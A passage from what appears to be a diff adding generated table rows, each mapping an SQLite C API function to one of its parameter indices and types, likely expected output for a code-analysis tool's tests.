| sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_completion_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_completion_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_dbdata_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_dbdata_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_dbdata_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_decimal_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_decimal_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_decimal_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_fileio_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_fileio_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_fileio_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_ieee_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_ieee_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_ieee_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_percentile_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_percentile_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_percentile_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_regexp_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_regexp_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_regexp_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_series_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_series_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_series_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sha_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sha_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sha_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_shathree_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_shathree_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_shathree_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sqlar_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sqlar_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_sqlar_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_stmtrand_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_stmtrand_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_stmtrand_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_uint_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_uint_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_uint_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_zipfile_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_zipfile_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_zipfile_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,const char *) | | sqlite3_declare_vtab | 0 | sqlite3 * | +| (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | const char * | +| (sqlite3 *,const char *) | | sqlite3_get_clientdata | 0 | sqlite3 * | +| (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | const char * | +| (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 0 | sqlite3 * | +| (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 0 | sqlite3 * | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 2 | ..(*)(..) | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 3 | sqlite3_callback | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 4 | void * | +| (sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **) | | sqlite3_exec | 5 | char ** | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 0 | sqlite3 * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 2 | ..(*)(..) | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 3 | void * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 0 | sqlite3 * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 2 | ..(*)(..) | +| (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 3 | void * | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 0 | sqlite3 * | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 1 | const char * | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 2 | ..(*)(..) | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 3 | void * | +| (sqlite3 *,const char *,..(*)(..),void *,..(*)(..)) | | sqlite3_rtree_query_callback | 4 | ..(*)(..) | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 0 | sqlite3 * | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 1 | const char * | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 2 | char *** | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 3 | int * | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 4 | int * | +| (sqlite3 *,const char *,char ***,int *,int *,char **) | | sqlite3_get_table | 5 | char ** | +| (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 1 | const char * | +| (sqlite3 *,const char *,const char *) | | sqlite3_recover_init | 2 | const char * | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 1 | const char * | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 2 | const char * | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 3 | ..(*)(..) | +| (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 4 | void * | +| (sqlite3 *,const char *,const char *,char **) | | sqlite3_load_extension | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *,char **) | | sqlite3_load_extension | 1 | const char * | +| (sqlite3 *,const char *,const char *,char **) | | sqlite3_load_extension | 2 | const char * | +| (sqlite3 *,const char *,const char *,char **) | | sqlite3_load_extension | 3 | char ** | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 1 | const char * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 2 | const char * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 3 | const char * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 4 | const char ** | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 5 | const char ** | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 6 | int * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 7 | int * | +| (sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *) | | sqlite3_table_column_metadata | 8 | int * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 0 | sqlite3 * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 1 | const char * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 2 | const char * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 3 | const char * | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 4 | sqlite3_int64 | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 5 | sqlite_int64 | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 6 | int | +| (sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **) | | sqlite3_blob_open | 7 | sqlite3_blob ** | +| (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 0 | sqlite3 * | +| (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 1 | const char * | +| (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 2 | const sqlite3_module * | +| (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 3 | void * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 1 | const char * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 2 | const sqlite3_module * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 3 | void * | +| (sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..)) | | sqlite3_create_module_v2 | 4 | ..(*)(..) | +| (sqlite3 *,const char *,int) | | sqlite3_overload_function | 0 | sqlite3 * | +| (sqlite3 *,const char *,int) | | sqlite3_overload_function | 1 | const char * | +| (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | int | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 1 | const char * | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 2 | int | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 3 | int * | +| (sqlite3 *,const char *,int,int *,int *) | | sqlite3_wal_checkpoint_v2 | 4 | int * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 1 | const char * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 2 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 3 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 4 | void * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 5 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 6 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function | 7 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 1 | const char * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 2 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 3 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 4 | void * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 5 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 6 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 7 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function_v2 | 8 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 1 | const char * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 2 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 3 | int | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 4 | void * | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 5 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 6 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 7 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 8 | ..(*)(..) | +| (sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_window_function | 9 | ..(*)(..) | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 1 | const char * | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 2 | int | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 3 | sqlite3_stmt ** | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare | 4 | const char ** | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 1 | const char * | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 2 | int | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 3 | sqlite3_stmt ** | +| (sqlite3 *,const char *,int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v2 | 4 | const char ** | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 1 | const char * | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 2 | int | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 3 | unsigned int | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 4 | sqlite3_stmt ** | +| (sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **) | | sqlite3_prepare_v3 | 5 | const char ** | +| (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 1 | const char * | +| (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 2 | int | +| (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 3 | void * | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 1 | const char * | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 2 | int | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 3 | void * | +| (sqlite3 *,const char *,int,void *,..(*)(..)) | | sqlite3_create_collation | 4 | ..(*)(..) | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 0 | sqlite3 * | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 1 | const char * | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 2 | int | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 3 | void * | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 4 | ..(*)(..) | +| (sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..)) | | sqlite3_create_collation_v2 | 5 | ..(*)(..) | +| (sqlite3 *,const char *,sqlite3 *,const char *) | | sqlite3_backup_init | 0 | sqlite3 * | +| (sqlite3 *,const char *,sqlite3 *,const char *) | | sqlite3_backup_init | 1 | const char * | +| (sqlite3 *,const char *,sqlite3 *,const char *) | | sqlite3_backup_init | 2 | sqlite3 * | +| (sqlite3 *,const char *,sqlite3 *,const char *) | | sqlite3_backup_init | 3 | const char * | +| (sqlite3 *,const char *,sqlite3_int64 *,unsigned int) | | sqlite3_serialize | 0 | sqlite3 * | +| (sqlite3 *,const char *,sqlite3_int64 *,unsigned int) | | sqlite3_serialize | 1 | const char * | +| (sqlite3 *,const char *,sqlite3_int64 *,unsigned int) | | sqlite3_serialize | 2 | sqlite3_int64 * | +| (sqlite3 *,const char *,sqlite3_int64 *,unsigned int) | | sqlite3_serialize | 3 | unsigned int | +| (sqlite3 *,const char *,sqlite3_intck **) | | sqlite3_intck_open | 0 | sqlite3 * | +| (sqlite3 *,const char *,sqlite3_intck **) | | sqlite3_intck_open | 1 | const char * | +| (sqlite3 *,const char *,sqlite3_intck **) | | sqlite3_intck_open | 2 | sqlite3_intck ** | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 0 | sqlite3 * | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 1 | const char * | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 2 | unsigned char * | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 3 | sqlite3_int64 | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 4 | sqlite3_int64 | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 5 | unsigned int | +| (sqlite3 *,const char *,void *,..(*)(..)) | | sqlite3_set_clientdata | 0 | sqlite3 * | +| (sqlite3 *,const char *,void *,..(*)(..)) | | sqlite3_set_clientdata | 1 | const char * | +| (sqlite3 *,const char *,void *,..(*)(..)) | | sqlite3_set_clientdata | 2 | void * | +| (sqlite3 *,const char *,void *,..(*)(..)) | | sqlite3_set_clientdata | 3 | ..(*)(..) | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 1 | const void * | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 2 | int | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 3 | int | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 4 | void * | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 5 | ..(*)(..) | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 6 | ..(*)(..) | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 7 | ..(*)(..) | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 1 | const void * | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 2 | int | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 3 | sqlite3_stmt ** | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 4 | const void ** | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 1 | const void * | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 2 | int | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 3 | sqlite3_stmt ** | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 4 | const void ** | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 1 | const void * | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 2 | int | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 3 | unsigned int | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 4 | sqlite3_stmt ** | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 5 | const void ** | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 1 | const void * | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 2 | int | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 3 | void * | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 4 | ..(*)(..) | +| (sqlite3 *,int) | | sqlite3_busy_timeout | 0 | sqlite3 * | +| (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | int | +| (sqlite3 *,int) | | sqlite3_db_name | 0 | sqlite3 * | +| (sqlite3 *,int) | | sqlite3_db_name | 1 | int | +| (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 0 | sqlite3 * | +| (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | int | +| (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 0 | sqlite3 * | +| (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 1 | int | +| (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 2 | ..(*)(..) | +| (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 3 | void * | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 0 | sqlite3 * | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 1 | int | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 2 | int * | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 3 | int * | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 4 | int | +| (sqlite3 *,int,int) | | sqlite3_limit | 0 | sqlite3 * | +| (sqlite3 *,int,int) | | sqlite3_limit | 1 | int | +| (sqlite3 *,int,int) | | sqlite3_limit | 2 | int | +| (sqlite3 *,sqlite3 *) | | registerUDFs | 0 | sqlite3 * | +| (sqlite3 *,sqlite3 *) | | registerUDFs | 1 | sqlite3 * | +| (sqlite3 *,sqlite3_int64) | | sqlite3_set_last_insert_rowid | 0 | sqlite3 * | +| (sqlite3 *,sqlite3_int64) | | sqlite3_set_last_insert_rowid | 1 | sqlite3_int64 | +| (sqlite3 *,sqlite3_stmt *) | | sqlite3_next_stmt | 0 | sqlite3 * | +| (sqlite3 *,sqlite3_stmt *) | | sqlite3_next_stmt | 1 | sqlite3_stmt * | +| (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 0 | sqlite3 * | +| (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 1 | unsigned int | +| (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 2 | ..(*)(..) | +| (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 3 | void * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed | 0 | sqlite3 * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed | 1 | void * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed | 2 | ..(*)(..) | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed16 | 0 | sqlite3 * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed16 | 1 | void * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed16 | 2 | ..(*)(..) | +| (sqlite3_backup *) | | sqlite3_backup_finish | 0 | sqlite3_backup * | +| (sqlite3_backup *) | | sqlite3_backup_pagecount | 0 | sqlite3_backup * | +| (sqlite3_backup *) | | sqlite3_backup_remaining | 0 | sqlite3_backup * | +| (sqlite3_backup *,int) | | sqlite3_backup_step | 0 | sqlite3_backup * | +| (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | int | +| (sqlite3_blob *) | | sqlite3_blob_bytes | 0 | sqlite3_blob * | +| (sqlite3_blob *) | | sqlite3_blob_close | 0 | sqlite3_blob * | +| (sqlite3_blob *,const void *,int,int) | | sqlite3_blob_write | 0 | sqlite3_blob * | +| (sqlite3_blob *,const void *,int,int) 